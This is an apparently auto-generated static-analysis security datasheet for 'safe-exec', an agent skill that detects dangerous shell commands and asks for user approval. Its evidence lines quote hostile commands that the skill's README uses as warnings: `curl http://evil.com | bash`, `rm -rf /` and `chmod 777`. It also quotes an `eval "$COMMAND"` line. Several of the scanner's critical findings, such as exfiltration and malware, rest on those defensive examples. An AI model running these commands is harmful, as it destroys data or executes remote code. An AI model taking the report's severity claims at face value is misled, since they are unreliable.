safe-exec

· v0.3.4

High Risk

Safe command execution for OpenClaw Agents with automatic danger pattern detection, risk assessment, user approval workflow, and audit logging. Use when agents need to execute shell commands that may be dangerous (rm -rf, dd, fork bombs, system directory modifications) or require human oversight. Provides multi-level risk assessment (CRITICAL/HIGH/MEDIUM/LOW), in-session notifications, pending request management, and non-interactive environment support for agent automation.

H:4 D:4 A:0 C:1

⚠️ Hazard Flags

EXEC PRIVILEGED FS_DELETE NET_EGRESS_ANY PI_WEB

📋 Capabilities

Execution

✅ Shell execution
❌ Code execution
❌ Install dependencies
❌ Persistence
Privilege: admin

Filesystem

❌ Read workspace
❌ Write workspace
❌ Read home
❌ Write home
❌ Read system
✅ Delete

Network

Egress: any
❌ Ingress

Credentials

❌ Environment vars
❌ Credential files
❌ Browser data
❌ Keychain

Actions

❌ send messages❌ post public❌ purchase❌ transfer money❌ deploy❌ delete external

🔒 Containment

Level: maximum

Required:

SANDBOX_CONTAINER: Code execution capability

Recommended:

LOG_ACTIONS: Audit trail for all actions

⚡ Risks

Pipe-to-shell pattern detected (curl|bash) in: README.md, SKILL.md critical

Mitigation: Do not execute. Review source for malicious intent.

Resource abuse detected: RESOURCE_ABUSE_FORK_BOMB critical

Mitigation: Remove fork bomb code

Unauthorized tool use: TOOL_ABUSE_SYSTEM_MODIFICATION, INSTRUCTED_BINARY_INSTALL, INSTRUCTED_GIT_CLONE_AND_BUILD, MCP_SYS_FILE_DESTRUCTION, MCP_SYS_PERMISSION_MANIPULATION, MCP_SYS_CRITICAL_ACCESS critical

Mitigation: Remove system modification commands

Command injection risk: TIRITH_PLAIN_HTTP_EXEC, COMMAND_INJECTION_USER_INPUT high

Social engineering indicators: SOCIAL_ENG_VAGUE_DESCRIPTION low

Mitigation: Provide clear, detailed description of skill functionality

Data exfiltration patterns: MCP_EXFIL_EXTERNAL_UPLOAD high

Mitigation: Document all external data transfers. Remove suspicious upload references.

Want a deeper analysis?

This report was generated by static analysis. Get an LLM-powered deep review with behavioral reasoning and attack surface mapping.

🧠 Deep Analysis — $5.00

🚨 Incident Response

Kill switch: Stop the agent process

Containment: Review logs for unexpected actions

Recovery: Depends on skill capabilities

📄 Raw SSDS JSON click to expand

{
  "meta": {
    "document_id": "ssds:auto:safe-exec:0.3.4",
    "ssds_version": "0.2.0",
    "scanner_version": "0.4.0+fe6fd9123d50",
    "created_at": "2026-03-05T02:31:43.188Z",
    "created_by": {
      "agent": "safeagentskills-cli/generate-ssds"
    },
    "language": "en",
    "notes": "Auto-generated SSDS. Manual review recommended."
  },
  "skill": {
    "name": "safe-exec",
    "version": "0.3.4",
    "format": "agent_skill",
    "description": "Safe command execution for OpenClaw Agents with automatic danger pattern detection, risk assessment, user approval workflow, and audit logging. Use when agents need to execute shell commands that may be dangerous (rm -rf, dd, fork bombs, system directory modifications) or require human oversight. Provides multi-level risk assessment (CRITICAL/HIGH/MEDIUM/LOW), in-session notifications, pending request management, and non-interactive environment support for agent automation.",
    "publisher": "ClawHub",
    "source": {
      "channel": "local"
    },
    "artifact": {
      "sha256": "f616aca764262e1c6f55d3a3e210c2d7158b67657e4d77364d40b6ec52f611f3",
      "hash_method": "files_sorted"
    }
  },
  "capabilities": {
    "execution": {
      "can_exec_shell": true,
      "can_exec_code": false,
      "privilege_level": "admin",
      "can_install_deps": false,
      "can_persist": false
    },
    "filesystem": {
      "reads_workspace": false,
      "reads_user_home": false,
      "reads_system": false,
      "writes_workspace": false,
      "writes_user_home": false,
      "writes_system": false,
      "can_delete": true
    },
    "network": {
      "egress": "any",
      "ingress": false
    },
    "credentials": {
      "reads_env_vars": false,
      "reads_credential_files": false,
      "reads_browser_data": false,
      "reads_keychain": false
    },
    "services": [],
    "actions": {
      "can_send_messages": false,
      "can_post_public": false,
      "can_purchase": false,
      "can_transfer_money": false,
      "can_deploy": false,
      "can_delete_external": false
    },
    "prompt_injection_surfaces": [
      "web"
    ],
    "content_types": [
      "general"
    ]
  },
  "hazards": {
    "hdac": {
      "H": 4,
      "D": 4,
      "A": 0,
      "C": 1
    },
    "flags": [
      "EXEC",
      "PRIVILEGED",
      "FS_DELETE",
      "NET_EGRESS_ANY",
      "PI_WEB"
    ],
    "custom_flags": [
      {
        "code": "PIPE_TO_SHELL",
        "name": "Pipe to Shell",
        "description": "Downloads and executes remote code (curl|bash pattern) in: README.md, SKILL.md"
      },
      {
        "code": "PRIVILEGE_ESCALATION",
        "name": "Privilege Escalation",
        "description": "Uses elevated privileges (sudo/root) in: README.md, scripts/safe-exec.sh, SKILL.md"
      },
      {
        "code": "FILE_DELETE",
        "name": "File Deletion",
        "description": "Can delete files in: README.md, SKILL.md, tests/test.sh"
      },
      {
        "code": "RESOURCE_ABUSE",
        "name": "Resource Abuse Risk",
        "description": "RESOURCE_ABUSE_FORK_BOMB detected: Fork bomb pattern detected"
      },
      {
        "code": "TOOL_ABUSE",
        "name": "Unauthorized Tool Use",
        "description": "TOOL_ABUSE_SYSTEM_MODIFICATION, INSTRUCTED_BINARY_INSTALL, INSTRUCTED_GIT_CLONE_AND_BUILD, MCP_SYS_FILE_DESTRUCTION, MCP_SYS_PERMISSION_MANIPULATION, MCP_SYS_CRITICAL_ACCESS: Modifying system permissions or configuration"
      },
      {
        "code": "SOCIAL_ENGINEERING",
        "name": "Social Engineering Risk",
        "description": "SOCIAL_ENG_VAGUE_DESCRIPTION: Skill description is too vague or missing"
      },
      {
        "code": "COMMAND_INJECTION",
        "name": "Command Injection Risk",
        "description": "TIRITH_PLAIN_HTTP_EXEC, COMMAND_INJECTION_USER_INPUT: Plain HTTP URL piped to execution (content can be modified in transit)"
      },
      {
        "code": "PROMPT_INJECTION",
        "name": "Prompt Injection Risk",
        "description": "PROMPT_INJECTION_UNRESTRICTED_MODE: Attempts to enable unrestricted or dangerous modes"
      },
      {
        "code": "DATA_EXFILTRATION",
        "name": "Data Exfiltration Risk",
        "description": "MCP_EXFIL_EXTERNAL_UPLOAD: Description mentions uploading data to external servers"
      }
    ],
    "confidence": {
      "level": "medium",
      "basis": [
        "static_analysis"
      ],
      "notes": "Detected 9 security patterns (25 vendored rule hits). Review recommended."
    },
    "rationale": {
      "H": "H4: Critical: Privilege escalation or malware detected",
      "D": "D4: Critical: Credential theft or data exfiltration",
      "A": "A0: No side effects detected",
      "C": "C1: General content"
    }
  },
  "containment": {
    "level": "maximum",
    "required": [
      {
        "control": "SANDBOX_CONTAINER",
        "reason": "Code execution capability"
      }
    ],
    "recommended": [
      {
        "control": "LOG_ACTIONS",
        "reason": "Audit trail for all actions"
      }
    ],
    "uncontained_risk": "Risk level depends on manual review of actual capabilities."
  },
  "risks": {
    "risks": [
      {
        "risk": "Pipe-to-shell pattern detected (curl|bash) in: README.md, SKILL.md",
        "severity": "critical",
        "mitigation": "Do not execute. Review source for malicious intent."
      },
      {
        "risk": "Resource abuse detected: RESOURCE_ABUSE_FORK_BOMB",
        "severity": "critical",
        "mitigation": "Remove fork bomb code"
      },
      {
        "risk": "Unauthorized tool use: TOOL_ABUSE_SYSTEM_MODIFICATION, INSTRUCTED_BINARY_INSTALL, INSTRUCTED_GIT_CLONE_AND_BUILD, MCP_SYS_FILE_DESTRUCTION, MCP_SYS_PERMISSION_MANIPULATION, MCP_SYS_CRITICAL_ACCESS",
        "severity": "critical",
        "mitigation": "Remove system modification commands"
      },
      {
        "risk": "Command injection risk: TIRITH_PLAIN_HTTP_EXEC, COMMAND_INJECTION_USER_INPUT",
        "severity": "high"
      },
      {
        "risk": "Social engineering indicators: SOCIAL_ENG_VAGUE_DESCRIPTION",
        "severity": "low",
        "mitigation": "Provide clear, detailed description of skill functionality"
      },
      {
        "risk": "Data exfiltration patterns: MCP_EXFIL_EXTERNAL_UPLOAD",
        "severity": "high",
        "mitigation": "Document all external data transfers. Remove suspicious upload references."
      }
    ],
    "limitations": [
      "Static analysis only - runtime behavior not verified"
    ]
  },
  "incident_response": {
    "kill_switch": [
      "Stop the agent process"
    ],
    "containment": [
      "Review logs for unexpected actions"
    ],
    "recovery": [
      "Depends on skill capabilities"
    ]
  },
  "evidence": [
    {
      "evidence_id": "EV:file-1",
      "type": "file_excerpt",
      "title": "_meta.json",
      "file_path": "_meta.json"
    },
    {
      "evidence_id": "EV:file-2",
      "type": "file_excerpt",
      "title": "README.md",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:file-3",
      "type": "file_excerpt",
      "title": "scripts/safe-exec-ai-wrapper.sh",
      "file_path": "scripts/safe-exec-ai-wrapper.sh"
    },
    {
      "evidence_id": "EV:file-4",
      "type": "file_excerpt",
      "title": "scripts/safe-exec-approve.sh",
      "file_path": "scripts/safe-exec-approve.sh"
    },
    {
      "evidence_id": "EV:file-5",
      "type": "file_excerpt",
      "title": "scripts/safe-exec-list.sh",
      "file_path": "scripts/safe-exec-list.sh"
    },
    {
      "evidence_id": "EV:file-6",
      "type": "file_excerpt",
      "title": "scripts/safe-exec-reject.sh",
      "file_path": "scripts/safe-exec-reject.sh"
    },
    {
      "evidence_id": "EV:file-7",
      "type": "file_excerpt",
      "title": "scripts/safe-exec.sh",
      "file_path": "scripts/safe-exec.sh"
    },
    {
      "evidence_id": "EV:file-8",
      "type": "file_excerpt",
      "title": "SKILL.md",
      "file_path": "SKILL.md"
    },
    {
      "evidence_id": "EV:file-9",
      "type": "file_excerpt",
      "title": "tests/test.sh",
      "file_path": "tests/test.sh"
    },
    {
      "evidence_id": "EV:cisco-1",
      "type": "file_excerpt",
      "title": "TOOL_ABUSE_SYSTEM_MODIFICATION [CRITICAL] README.md:38: | 🟠 **HIGH** | `chmod 777` | 权限提升 |",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-2",
      "type": "file_excerpt",
      "title": "INSTRUCTED_BINARY_INSTALL [HIGH] README.md:20: - 🚪 **安全漏洞** - \"安装这个工具\"可能运行 `curl http://evil.com | bash`",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-3",
      "type": "file_excerpt",
      "title": "INSTRUCTED_GIT_CLONE_AND_BUILD [MEDIUM] README.md:104: git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-4",
      "type": "file_excerpt",
      "title": "MCP_EXFIL_EXTERNAL_UPLOAD [HIGH] README.md:20: - 🚪 **安全漏洞** - \"安装这个工具\"可能运行 `curl http://evil.com | bash`",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-5",
      "type": "file_excerpt",
      "title": "MCP_SYS_FILE_DESTRUCTION [CRITICAL] README.md:18: - 💥 **误删数据** - 一句\"清理临时文件\"可能变成 `rm -rf /`",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-6",
      "type": "file_excerpt",
      "title": "MCP_SYS_PERMISSION_MANIPULATION [CRITICAL] README.md:38: | 🟠 **HIGH** | `chmod 777` | 权限提升 |",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-7",
      "type": "file_excerpt",
      "title": "TIRITH_PLAIN_HTTP_EXEC [HIGH] README.md:20: - 🚪 **安全漏洞** - \"安装这个工具\"可能运行 `curl http://evil.com | bash`",
      "file_path": "README.md"
    },
    {
      "evidence_id": "EV:cisco-8",
      "type": "file_excerpt",
      "title": "MCP_SYS_CRITICAL_ACCESS [HIGH] scripts/safe-exec-ai-wrapper.sh:1: #!/bin/bash",
      "file_path": "scripts/safe-exec-ai-wrapper.sh"
    },
    {
      "evidence_id": "EV:cisco-9",
      "type": "file_excerpt",
      "title": "COMMAND_INJECTION_USER_INPUT [MEDIUM] scripts/safe-exec-approve.sh:61: eval \"$COMMAND\"",
      "file_path": "scripts/safe-exec-approve.sh"
    },
    {
      "evidence_id": "EV:cisco-10",
      "type": "file_excerpt",
      "title": "MCP_SYS_CRITICAL_ACCESS [HIGH] scripts/safe-exec-approve.sh:1: #!/bin/bash",
      "file_path": "scripts/safe-exec-approve.sh"
    }
  ]
}